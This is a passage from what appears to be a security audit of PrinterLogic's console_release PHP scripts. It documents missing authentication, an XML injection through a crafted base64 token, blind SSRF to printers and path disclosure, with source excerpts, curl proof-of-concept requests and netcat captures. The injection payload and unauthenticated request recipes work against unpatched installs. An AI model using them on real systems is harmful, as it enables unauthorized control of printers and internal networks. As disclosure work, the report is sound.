 <span style="color: #666666">28</span>             Log<span style="color: #666666">::</span><span style="color: #7D9029">debug</span>(<span style="color: #BA2121">&quot;error: &quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$vals</span>[<span style="color: #19177C">$index</span>[<span style="color: #BA2121">&#39;EXC:DESCRIPTION&#39;</span>][<span style="color: #666666">0</span>]][<span style="color: #BA2121">&#39;value&#39;</span>]);
 <span style="color: #666666">29</span>             <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">&quot;fail&quot;</span>;
 <span style="color: #666666">30</span>         } <span style="color: #008000; font-weight: bold">else</span> {
 <span style="color: #666666">31</span>             <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">&quot;success&quot;</span>;
 <span style="color: #666666">32</span>         }    
 <span style="color: #666666">33</span>     } <span style="color: #008000; font-weight: bold">catch</span>(Exception <span style="color: #19177C">$ex</span>) {
 <span style="color: #666666">34</span>         Log<span style="color: #666666">::</span><span style="color: #7D9029">debug</span>(<span style="color: #BA2121">&quot;Toshiba change_screens, error: &quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$ex</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">getMessage</span>());
 <span style="color: #666666">35</span>         <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">&quot;fail&quot;</span>;
 <span style="color: #666666">36</span>     }    
 <span style="color: #666666">37</span> }
</pre></div>

<p>The variables <code>$token</code> and <code>$printer_id</code> are attacker-controlled data and there is no authentication.</p>
<p>The <code>select_screen</code> function is implemented in <code>/var/www/app/console_release/toshiba/toshiba_soap_helper.php</code> and the execution flow goes to a HTTP/HTTPS request (without verification of SSL certificates) with attacker-controlled data sent to the printer in the function <code>processCurl()</code>:</p>
<p>Content of <code>/var/www/app/console_release/toshiba/change_screens.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
<span style="color: #666666">769</span> <span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">select_screen</span>(<span style="color: #19177C">$ip</span>, <span style="color: #19177C">$token</span>, <span style="color: #19177C">$screen</span>)
<span style="color: #666666">770</span> {
<span style="color: #666666">771</span>     <span style="color: #19177C">$header</span> <span style="color: #666666">=</span> get_header(<span style="color: #19177C">$token</span>);
<span style="color: #666666">772</span>     <span style="color: #19177C">$body</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;&lt;selectScreen xmlns=&quot;http://www.toshibatec.co.jp/e-STUDIO/DeviceService/DeviceControl&quot;&gt;&#39;</span>;
<span style="color: #666666">773</span>     <span style="color: #19177C">$body</span> <span style="color: #666666">.=</span> <span style="color: #BA2121">&#39;&lt;ScreenType&gt;&#39;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$screen</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&#39;&lt;/ScreenType&gt;&#39;</span>;
<span style="color: #666666">774</span>     <span style="color: #19177C">$body</span> <span style="color: #666666">.=</span> <span style="color: #BA2121">&#39;&lt;/selectScreen&gt;&#39;</span>;
<span style="color: #666666">775</span>
<span style="color: #666666">776</span>     <span style="color: #008000; font-weight: bold">return</span> processCurl(<span style="color: #19177C">$ip</span>, <span style="color: #19177C">$header</span>, <span style="color: #19177C">$body</span>, <span style="color: #BA2121">&quot;http://&quot;</span>);
<span style="color: #666666">777</span> }

<span style="color: #666666">555</span> <span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">get_header</span>(<span style="color: #19177C">$token</span>)
<span style="color: #666666">556</span> {
<span style="color: #666666">557</span>     <span style="color: #19177C">$header</span>  <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;&lt;s:Header&gt;&#39;</span>;
<span style="color: #666666">558</span>     <span style="color: #19177C">$header</span> <span style="color: #666666">.=</span> <span style="color: #BA2121">&#39;&lt;h:sessionHeader xmlns:h=&quot;http://www.toshibatec.co.jp/e-STUDIO/Common&quot; xmlns=&quot;http://www.toshibatec.co.jp/e-STUDIO/Common&quot; xmlns:xsi=&quot;http    ://www.w3.org/2001/XMLSchema-instance&quot; xmlns:xsd=&quot;http://www.w3.org/2001/XMLSchema&quot;&gt;&#39;</span>;
<span style="color: #666666">559</span>     <span style="color: #19177C">$header</span> <span style="color: #666666">.=</span> <span style="color: #BA2121">&#39;&lt;Token&gt;&#39;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$token</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&#39;&lt;/Token&gt;&#39;</span>;
<span style="color: #666666">560</span>     <span style="color: #19177C">$header</span> <span style="color: #666666">.=</span> <span style="color: #BA2121">&#39;&lt;/h:sessionHeader&gt;&#39;</span>;
<span style="color: #666666">561</span>     <span style="color: #19177C">$header</span> <span style="color: #666666">.=</span> <span style="color: #BA2121">&#39;&lt;/s:Header&gt;&#39;</span>;
<span style="color: #666666">562</span>     <span style="color: #008000; font-weight: bold">return</span> <span style="color: #19177C">$header</span>;
<span style="color: #666666">563</span> }
</pre></div>

<p>With the <code>processCurl</code> function defined in <code>/var/www/app/console_release/toshiba/change_screens.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
 <span style="color: #666666">11</span> <span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">processCurl</span>(<span style="color: #19177C">$url</span>, <span style="color: #19177C">$XRX_SOAP_HEADER</span>, <span style="color: #19177C">$body</span>, <span style="color: #19177C">$h_ref</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;https://&#39;</span>)
 <span style="color: #666666">12</span> {
 <span style="color: #666666">13</span>     <span style="color: #19177C">$FULL_XRX</span> <span style="color: #666666">=</span> processCurlBuildXRX(<span style="color: #19177C">$body</span>, <span style="color: #19177C">$XRX_SOAP_HEADER</span>);
 <span style="color: #666666">14</span>     <span style="color: #19177C">$XRX_URL</span> <span style="color: #666666">=</span> processCurlBuildURL(<span style="color: #19177C">$url</span>, <span style="color: #19177C">$h_ref</span>);
 <span style="color: #666666">15</span>     Log<span style="color: #666666">::</span><span style="color: #7D9029">debug</span>(<span style="color: #BA2121">&quot;Toshiba, toshiba_soap_helper, processCurl, url = &quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$XRX_URL</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;, full xrx = &quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$FULL_XRX</span>);
 <span style="color: #666666">16</span>
 <span style="color: #666666">17</span>     <span style="color: #19177C">$ch</span> <span style="color: #666666">=</span> <span style="color: #008000">curl_init</span>();
 <span style="color: #666666">18</span>     <span style="color: #19177C">$toshiba_url</span> <span style="color: #666666">=</span> config(<span style="color: #BA2121">&#39;cpa.toshiba.url&#39;</span>);
 <span style="color: #666666">19</span>     <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #19177C">$toshiba_url</span> <span style="color: #666666">!==</span> <span style="color: #BA2121">&#39;&#39;</span>) {
 <span style="color: #666666">20</span>         <span style="color: #19177C">$headers</span> <span style="color: #666666">=</span> [
 <span style="color: #666666">21</span>             <span style="color: #BA2121">&#39;Host:&#39;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$toshiba_url</span>,
 <span style="color: #666666">22</span>         ];
 <span style="color: #666666">23</span>     } <span style="color: #008000; font-weight: bold">else</span> {
 <span style="color: #666666">24</span>         <span style="color: #19177C">$headers</span> <span style="color: #666666">=</span> [
 <span style="color: #666666">25</span>             <span style="color: #BA2121">&#39;Host: &#39;</span> <span style="color: #666666">.</span> get_host(),
 <span style="color: #666666">26</span>         ];
 <span style="color: #666666">27</span>     }
 <span style="color: #666666">28</span>     <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch</span>, CURLOPT_HTTPHEADER, <span style="color: #19177C">$headers</span>);
 <span style="color: #666666">29</span>     <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch</span>, CURLOPT_URL, <span style="color: #19177C">$XRX_URL</span>);
 <span style="color: #666666">30</span>     <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch</span>, CURLOPT_POST, <span style="color: #008000; font-weight: bold">true</span>);
 <span style="color: #666666">31</span>     <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch</span>, CURLOPT_POSTFIELDS, <span style="color: #19177C">$FULL_XRX</span>); <span style="color: #666666">?</span> contains the retuned value of processCurlBuildXRX containing the attacker<span style="color: #666666">-</span>controlled data
 <span style="color: #666666">32</span>     <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch</span>, CURLOPT_RETURNTRANSFER, <span style="color: #666666">1</span>);
 <span style="color: #666666">33</span>     <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch</span>, CURLOPT_SSL_VERIFYHOST, <span style="color: #008000; font-weight: bold">false</span>);
 <span style="color: #666666">34</span>     <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch</span>, CURLOPT_SSL_VERIFYPEER, <span style="color: #008000; font-weight: bold">false</span>);
 <span style="color: #666666">35</span>     <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch</span>, CURLOPT_SSLVERSION, CURL_SSLVERSION_SSLv3);
</pre></div>

<p>There is no verification of the <code>$token</code> value. <code>$token</code> goes into several functions (including <code>processCurlBuildXRX()</code> that will add XML tags) but no checks are done and it is entirely possible for an attacker to add custom XML tags in order to craft XML data that will be sent by the remote printer, without authentication.</p>
<p>In order to bypass <code>$token</code>, an attacker can include the following XML-based data in the GET request (<code>?token=base64(..)</code>).</p>
<p>Crafting a custom <code>$token</code> value, to inject additional XML value (<code>CUSTOM-XML-HERE</code>):</p>
<pre><code>$token = base64("&lt;/Token&gt;&lt;/h:sessionHeader&gt;&lt;/s:Header&gt;&lt;/s:Body&gt;&lt;/s:Envelope&gt;CUSTOM-XML-HERE&lt;!--")
</code></pre>
<p>The first tags will close the opened XML tags by the PHP code and the final <code>&lt;--</code> will comment out the rest of the tags added by the PHP code.</p>
<p>Using dynamic analysis, we can confirm this behavior.</p>
<p>Sending a request to PrinterLogic that will send request to a remote printer:</p>
<pre><code>kali% curl "http://10.105.0.241/console_release/toshiba/change_screens.php?printer_id=2&amp;token=$(echo XML-INJECTION | base64 -w0)"
</code></pre>
<p>On the machine that is declared as a printer in PrinterLogic, there is a HTTP request sent from PrinterLogic to the port 49629.</p>
<p>XML request sent to the printer without authentication and without filtering of data:</p>
<pre><code>kali% nc -l -v -p 49629
listening on [any] 49629 ...
10.105.0.241: inverse host lookup failed: Host name lookup failure
connect to [10.105.0.239] from (UNKNOWN) [10.105.0.241] 58676
POST / HTTP/1.1
Host: 10.105.0.241
Accept: */*
x-datadog-trace-id: 932651358478891623
x-datadog-parent-id: 11324935202201644044
Content-Length: 652
Content-Type: application/x-www-form-urlencoded

&lt;?xml version="1.0" encoding="utf-8"?&gt;&lt;s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"&gt;&lt;s:Header&gt;&lt;h:sessionHeader xmlns:h="http://www.toshibatec.co.jp/e-STUDIO/Common" xmlns="http://www.toshibatec.co.jp/e-STUDIO/Common" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"&gt;&lt;Token&gt;XML-INJECTION [1] XML injection
&lt;/Token&gt;&lt;/h:sessionHeader&gt;&lt;/s:Header&gt;&lt;s:Body xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"&gt;&lt;selectScreen xmlns="http://www.toshibatec.co.jp/e-STUDIO/DeviceService/DeviceControl"&gt;&lt;ScreenType&gt;Menu&lt;/ScreenType&gt;&lt;/selectScreen&gt;&lt;/s:Body&gt;&lt;/s:Envelope&gt;
</code></pre>
<p>This code pattern can be found in several files, allowing an attacker to interact with remote printers without authentication or to disclose internal paths or variables:</p>
<p>Example - request without authentication leading to path disclosure:</p>
<pre><code>kali% curl "http://10.105.0.241/console_release/samsung/soap_server_0.php"
&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"&gt;&lt;SOAP-ENV:Body&gt;&lt;SOAP-ENV:Fault&gt;&lt;faultcode&gt;WSDL&lt;/faultcode&gt;&lt;faultstring&gt;SOAP-ERROR: Parsing WSDL: Couldn't load from '/var/www/app/cons
ole_release/samsung/../../console_release/toshiba/wsdl/EventServiceBinding.wsdl' : failed to load external entity "/var/www/app/console_release/samsung/../../console_release/toshiba/wsdl/EventServiceBinding.wsdl"
&lt;/faultstring&gt;&lt;/SOAP-ENV:Fault&gt;&lt;/SOAP-ENV:Body&gt;&lt;/SOAP-ENV:Envelope&gt;
</code></pre>
<p>The file <code>/www/app/console_release/samsung/get_device_info.php</code> allows reaching printers without authentication.</p>
<p>Content of <code>/web/www/app/console_release/samsung/get_device_info.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
 <span style="color: #666666">11</span> <span style="color: #008000; font-weight: bold">if</span>( requestint( <span style="color: #BA2121">&#39;printer_id&#39;</span>, <span style="color: #666666">0</span> ) <span style="color: #666666">!=</span> <span style="color: #666666">0</span> )
 <span style="color: #666666">12</span> {
 <span style="color: #666666">13</span>   <span style="color: #19177C">$printer_vo</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">id</span> <span style="color: #666666">=</span> requestint( <span style="color: #BA2121">&#39;printer_id&#39;</span>, <span style="color: #666666">0</span> );
 <span style="color: #666666">14</span>   <span style="color: #19177C">$printer_dao</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">load</span>( <span style="color: #19177C">$printer_vo</span> );
[<span style="color: #666666">...</span>]
 <span style="color: #666666">30</span>   <span style="color: #19177C">$header</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">array</span>();
 <span style="color: #666666">31</span>   <span style="color: #19177C">$header</span>[] <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;Content-length: 0&#39;</span>;
 <span style="color: #666666">32</span>   <span style="color: #19177C">$header</span>[] <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;Content-type: application/json&#39;</span>;
 <span style="color: #666666">33</span>   <span style="color: #19177C">$header</span>[] <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;Authorization: OAuth oauth_signature=&quot;123456&quot;, oauth_version=&quot;1.0&quot;, oauth_consumer_key=&quot;test&quot;, oauth_signature_method=&quot;PLAINTEXT&quot;&#39;</span>;
 <span style="color: #666666">34</span> 
 <span style="color: #666666">35</span>   <span style="color: #008000">curl_setopt</span>( <span style="color: #19177C">$ch</span>, CURLOPT_HTTPHEADER, <span style="color: #19177C">$header</span> );
 <span style="color: #666666">36</span>   <span style="color: #008000">curl_setopt</span>( <span style="color: #19177C">$ch</span>, CURLOPT_POST, <span style="color: #008000; font-weight: bold">true</span> );
 <span style="color: #666666">37</span>   <span style="color: #008000">curl_setopt</span>( <span style="color: #19177C">$ch</span>, CURLOPT_URL, <span style="color: #BA2121">&quot;http://&quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$printer_vo</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">str_host_address</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;:8080/ws/v1/tokenmgt/tokenmanager/createtoken&quot;</span> );
 <span style="color: #666666">38</span>   <span style="color: #008000">curl_setopt</span>( <span style="color: #19177C">$ch</span>, CURLOPT_RETURNTRANSFER, <span style="color: #008000; font-weight: bold">true</span> );
 <span style="color: #666666">39</span>   <span style="color: #008000">curl_setopt</span>( <span style="color: #19177C">$ch</span>, CURLOPT_USERPWD, <span style="color: #BA2121">&quot;</span><span style="color: #BB6688; font-weight: bold">$username</span><span style="color: #BA2121">:</span><span style="color: #BB6688; font-weight: bold">$password</span><span style="color: #BA2121">&quot;</span> );
 <span style="color: #666666">40</span>   <span style="color: #008000">curl_setopt</span>( <span style="color: #19177C">$ch</span>, CURLOPT_HTTPAUTH, CURLAUTH_BASIC );
</pre></div>

<p>Request to <code>http://10.105.0.241/console_release/samsung/get_device_info.php?printer_id=2</code>:</p>
<pre><code>kali% curl "http://10.105.0.241/console_release/samsung/get_device_info.php?printer_id=2"

error = Failed to connect to 10.105.0.239 port 8080: Connection refused
&lt;BR&gt;&lt;BR&gt;Array
(
)


Array
(
)
kali%
</code></pre>
<p>When the printer is reachable on the port 8080, we can see PrinterLogic sending a HTTP request.</p>
<p>Request to <code>http://10.105.0.241/console_release/samsung/get_device_info.php?printer_id=2</code>:</p>
<pre><code>kali% curl "http://10.105.0.241/console_release/samsung/get_device_info.php?printer_id=2"

error = Empty reply from server
&lt;BR&gt;&lt;BR&gt;Array
(
)


Array
(
)
kali%
</code></pre>
<p>On the server, acting as the printer, we receive this HTTP connection.</p>
<p>Request sent to the Printer by PrinterLogic without authentication:</p>
<pre><code>kali% nc -l -v -p 8080
listening on [any] 8080 ...
10.105.0.241: inverse host lookup failed: Host name lookup failure
connect to [10.105.0.239] from (UNKNOWN) [10.105.0.241] 52954
POST /ws/v1/tokenmgt/tokenmanager/createtoken HTTP/1.1
Host: 10.105.0.239:8080
Accept: */*
Content-length: 0
Content-type: application/json
Authorization: OAuth oauth_signature="123456", oauth_version="1.0", oauth_consumer_key="test", oauth_signature_method="PLAINTEXT"
x-datadog-trace-id: 843152030884643607
x-datadog-parent-id: 2752307119501071741
Expect: 100-continue

^C
kali%
</code></pre>
<p>The file <code>/var/www/app/console_release/common/rfid_check.php</code> doesn't check authentication and allow changing parameters of printers using 4 different operations. This is one of the operations:</p>
<p>Content of <code>/var/www/app/console_release/common/rfid_check.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
 <span style="color: #666666">97</span> <span style="color: #008000; font-weight: bold">else</span> <span style="color: #008000; font-weight: bold">if</span>( requestint( <span style="color: #BA2121">&quot;rfid_delete&quot;</span>, <span style="color: #666666">0</span> ) <span style="color: #666666">!=</span> <span style="color: #666666">0</span> )
 <span style="color: #666666">98</span> {
 <span style="color: #666666">99</span>         <span style="color: #19177C">$rfid_dao</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">new</span> rfid_data_dao();
<span style="color: #666666">100</span>         <span style="color: #19177C">$rfid_vo</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">new</span> rfid_data_vo();
<span style="color: #666666">101</span> 
<span style="color: #666666">102</span>         <span style="color: #19177C">$rfid_vo</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">id</span> <span style="color: #666666">=</span> <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">&#39;rfid_delete&#39;</span>];
<span style="color: #666666">103</span>         <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">&quot;&quot;</span>;<span style="color: #408080; font-style: italic">//$rfid_dao-&gt;delete_rfid( $rfid_vo );</span>
<span style="color: #666666">104</span> }
</pre></div>

<p>There is another example that may be used by a malicious admin to conduct blind SSRF. The resulting HTTP request sent by PrinterLogic will be: <code>http://IP_PRINTER/cgi-bin/direct/printer/prtappse/semenu?page=bundles</code>. Again there is no authentication:</p>
<p>Content of <code>/www/app/console_release/lexmark/dellCheck.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
  <span style="color: #666666">2</span> <span style="color: #008000; font-weight: bold">require_once</span>( <span style="color: #BA2121">&quot;global.php&quot;</span> );
  <span style="color: #666666">3</span> <span style="color: #008000; font-weight: bold">require_once</span>(ABSPATH<span style="color: #666666">.</span><span style="color: #BA2121">&quot;lib/dao/dbopen.php&quot;</span>);
  <span style="color: #666666">4</span> <span style="color: #008000; font-weight: bold">require_once</span>( ABSPATH <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;lib/dao/printer_dao.php&quot;</span> );
  <span style="color: #666666">5</span> 
  <span style="color: #666666">6</span> <span style="color: #19177C">$printer_dao</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">new</span> printer_dao();
  <span style="color: #666666">7</span> <span style="color: #19177C">$printer_vo</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">new</span> printer_vo();
  <span style="color: #666666">8</span> <span style="color: #19177C">$printer_vo</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">id</span> <span style="color: #666666">=</span> requestint( <span style="color: #BA2121">&#39;printer_id&#39;</span>, <span style="color: #666666">0</span> );
  <span style="color: #666666">9</span> <span style="color: #19177C">$printer_dao</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">load</span>( <span style="color: #19177C">$printer_vo</span> );
 <span style="color: #666666">10</span> 
 <span style="color: #666666">11</span> <span style="color: #19177C">$url</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;http://&quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$printer_vo</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">str_host_address</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;/cgi-bin/direct/printer/prtappse/semenu?page=bundles&quot;</span>;
 <span style="color: #666666">12</span> <span style="color: #19177C">$url_headers</span> <span style="color: #666666">=</span> <span style="color: #666666">@</span><span style="color: #008000">get_headers</span>(<span style="color: #19177C">$url</span>);
 <span style="color: #666666">13</span> <span style="color: #008000; font-weight: bold">if</span>(<span style="color: #666666">!</span><span style="color: #19177C">$url_headers</span> <span style="color: #666666">||</span> <span style="color: #008000">strpos</span>(<span style="color: #19177C">$url_headers</span>[<span style="color: #666666">0</span>], <span style="color: #BA2121">&#39;200&#39;</span>) <span style="color: #666666">===</span> <span style="color: #008000; font-weight: bold">false</span>)
 <span style="color: #666666">14</span> {
 <span style="color: #666666">15</span>     <span style="color: #19177C">$new_url</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;http://&quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$printer_vo</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">str_host_address</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;/esf/prtappse/semenu?page=bundles&quot;</span>;
 <span style="color: #666666">16</span>     <span style="color: #19177C">$new_url_headers</span> <span style="color: #666666">=</span> <span style="color: #666666">@</span><span style="color: #008000">get_headers</span>(<span style="color: #19177C">$new_url</span>);
 <span style="color: #666666">17</span>     <span style="color: #008000; font-weight: bold">if</span>(<span style="color: #666666">!</span><span style="color: #19177C">$new_url_headers</span> <span style="color: #666666">||</span> <span style="color: #008000">strpos</span>(<span style="color: #19177C">$new_url_headers</span>[<span style="color: #666666">0</span>], <span style="color: #BA2121">&#39;200&#39;</span>) <span style="color: #666666">===</span> <span style="color: #008000; font-weight: bold">false</span>)
 <span style="color: #666666">18</span>         <span style="color: #19177C">$contents</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;&quot;</span>;
 <span style="color: #666666">19</span>     <span style="color: #008000; font-weight: bold">else</span>
 <span style="color: #666666">20</span>         <span style="color: #19177C">$contents</span> <span style="color: #666666">=</span> <span style="color: #008000">file_get_contents</span>(<span style="color: #19177C">$new_url</span>);
 <span style="color: #666666">21</span> }
 <span style="color: #666666">22</span> <span style="color: #008000; font-weight: bold">else</span>
 <span style="color: #666666">23</span> {
 <span style="color: #666666">24</span>     <span style="color: #19177C">$contents</span> <span style="color: #666666">=</span> <span style="color: #008000">file_get_contents</span>(<span style="color: #19177C">$url</span>);
 <span style="color: #666666">25</span> }
 <span style="color: #666666">26</span> 
 <span style="color: #666666">27</span> <span style="color: #008000; font-weight: bold">if</span>(<span style="color: #008000">mb_stripos</span>(<span style="color: #19177C">$contents</span>, <span style="color: #BA2121">&#39;Bundle ID&#39;</span>)){
 <span style="color: #666666">28</span>         <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">&#39;Lexmark&#39;</span>;
 <span style="color: #666666">29</span> }
</pre></div>

<p>The file <code>/var/www/app/console_release/fast_release/badge_register_process.php</code> manages the registration of badges used for authentication but this file doesn't support authentication.</p>
<p>The list of vulnerable PHP scripts is not exhaustive and the analysis was not completed due to the lack of time. A small sample has been provided in other sections with more in-depth analysis (SSRF).</p>
<p>A final example, the <code>/var/www/app/console_release/km/console.php</code> file allows to remove jobs or to list them without authentication:</p>
<p><img alt="" src="images/2025-vasion-report-1-release-05.png" /></p>
<p><a href="images/2025-vasion-report-1-release-05-full.png">Click here for full image</a></p>
<p>http://10.105.0.241/console_release/km/console.php?printer_id=1</p>
<p>This webpage will load the page <code>/var/www/app/state/query/console_release.php</code> that doesn't check authentication. The only authentication is disabled because <code>GLOBALS::$ENHANCED_SECURITY</code> is set to <code>0</code> by default.</p>
<p>Content of <code>/var/www/app/state/query/console_release.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
 <span style="color: #666666">19</span> <span style="color: #008000; font-weight: bold">if</span>(GLOBALS<span style="color: #666666">::</span><span style="color: #19177C">$ENHANCED_SECURITY</span> <span style="color: #666666">==</span> <span style="color: #666666">1</span> ) {
 <span style="color: #666666">20</span> <span style="color: #408080; font-style: italic">// Make sure the user has been logged in and the session is valid</span>
 <span style="color: #666666">21</span>     <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #666666">!</span>GLOBALS<span style="color: #666666">::</span><span style="color: #19177C">$login</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">session_is_valid_portal</span>()) {
 <span style="color: #666666">22</span>         respond_expired_json();
 <span style="color: #666666">23</span>         <span style="color: #008000; font-weight: bold">return</span>;
 <span style="color: #666666">24</span>     }
 <span style="color: #666666">25</span>     <span style="color: #19177C">$printer_id</span> <span style="color: #666666">=</span> GLOBALS<span style="color: #666666">::</span><span style="color: #19177C">$login</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">portal_get_printer_id</span>();
 <span style="color: #666666">26</span>     <span style="color: #19177C">$user</span> <span style="color: #666666">=</span> GLOBALS<span style="color: #666666">::</span><span style="color: #19177C">$login</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">get_user_name_portal</span>();
 <span style="color: #666666">27</span>         <span style="color: #008000; font-weight: bold">if</span> (GLOBALS<span style="color: #666666">::</span><span style="color: #19177C">$LDAP_EMAIL_RELEASE</span> <span style="color: #666666">==</span> <span style="color: #666666">1</span> ) {
 <span style="color: #666666">28</span>         <span style="color: #19177C">$email</span> <span style="color: #666666">=</span> <span style="color: #19177C">$GLOBALS</span><span style="color: #666666">::</span><span style="color: #19177C">$login</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">getEmail</span>();
 <span style="color: #666666">29</span>     }
 <span style="color: #666666">30</span> } <span style="color: #008000; font-weight: bold">else</span> {
 <span style="color: #666666">31</span>     <span style="color: #19177C">$printer_id</span> <span style="color: #666666">=</span> GLOBALS<span style="color: #666666">::</span><span style="color: #19177C">$login</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">get_printer_id_from_request</span>();
 <span style="color: #666666">32</span> 
 <span style="color: #666666">33</span>     <span style="color: #008000; font-weight: bold">if</span> (requestint(<span style="color: #BA2121">&quot;enc&quot;</span>, <span style="color: #666666">0</span>) <span style="color: #666666">&gt;</span> <span style="color: #666666">0</span>) {
 <span style="color: #666666">34</span>         <span style="color: #19177C">$decode_user</span> <span style="color: #666666">=</span> <span style="color: #008000">base64_decode</span>(<span style="color: #008000">urldecode</span>(requeststr(<span style="color: #BA2121">&quot;user&quot;</span>, <span style="color: #BA2121">&quot;&quot;</span>)));
 <span style="color: #666666">35</span>         <span style="color: #19177C">$user</span> <span style="color: #666666">=</span> <span style="color: #008000">urldecode</span>(<span style="color: #008000">substr</span>(<span style="color: #19177C">$decode_user</span>, <span style="color: #666666">0</span>, <span style="color: #666666">-30</span>));
 <span style="color: #666666">36</span>     } <span style="color: #008000; font-weight: bold">else</span>
 <span style="color: #666666">37</span>         <span style="color: #19177C">$user</span> <span style="color: #666666">=</span> requeststr(<span style="color: #BA2121">&quot;user&quot;</span>, <span style="color: #BA2121">&quot;&quot;</span>);
 <span style="color: #666666">38</span> 
 <span style="color: #666666">39</span>     <span style="color: #008000; font-weight: bold">if</span> (GLOBALS<span style="color: #666666">::</span><span style="color: #19177C">$LDAP_EMAIL_RELEASE</span> <span style="color: #666666">==</span> <span style="color: #666666">1</span>) {
 <span style="color: #666666">40</span> 
 <span style="color: #666666">41</span>         <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #19177C">$user</span>) {
 <span style="color: #666666">42</span>             <span style="color: #19177C">$ldap_lookups</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">new</span> LdapLookups();
 <span style="color: #666666">43</span>             <span style="color: #19177C">$ldap_lookups</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">loadLdapSettings</span>();
 <span style="color: #666666">44</span>             <span style="color: #19177C">$email</span> <span style="color: #666666">=</span> <span style="color: #19177C">$ldap_lookups</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">lookupAdUserEmail</span>(<span style="color: #19177C">$user</span>);
 <span style="color: #666666">45</span>         }
 <span style="color: #666666">46</span>     }
 <span style="color: #666666">47</span> }
[<span style="color: #666666">...</span>]
<span style="color: #666666">156</span>                         <span style="color: #408080; font-style: italic">//process the rest of the rows</span>
